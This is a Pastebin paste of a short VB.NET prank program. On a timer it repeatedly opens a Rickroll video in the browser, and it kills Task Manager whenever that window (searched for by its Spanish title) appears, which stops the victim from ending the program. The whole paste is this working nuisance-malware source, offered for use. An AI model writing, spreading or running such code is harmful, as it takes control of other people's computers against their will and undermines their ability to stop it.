LordKusa

Never gonna give you up

May 4th, 2019
108
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Public Class Form1
  2.     Public Declare Auto Function FindWindowNullClassName Lib "User32.dll" Alias "FindWindow" (ByVal lpClassname As Integer, ByVal lpWindownName As String) As Integer
  3.  
  4.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  5.         System.Diagnostics.Process.Start("https://www.youtube.com/watch?v=dQw4w9WgXcQ") 'Never gonna give you up
  6.    End Sub
  7.  
  8.     Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
  9.         Dim hWnd As Integer = FindWindowNullClassName(0, "Administrador de tareas")
  10.         Dim myprocess() As Process = System.Diagnostics.Process.GetProcessesByName("taskmgr")
  11.  
  12.         If hWnd <> 0 Then
  13.             For Each mykill As Process In myprocess
  14.                 mykill.Kill()
  15.             Next
  16.         End If
  17.     End Sub
  18.  
  19. End Class
RAW Paste Data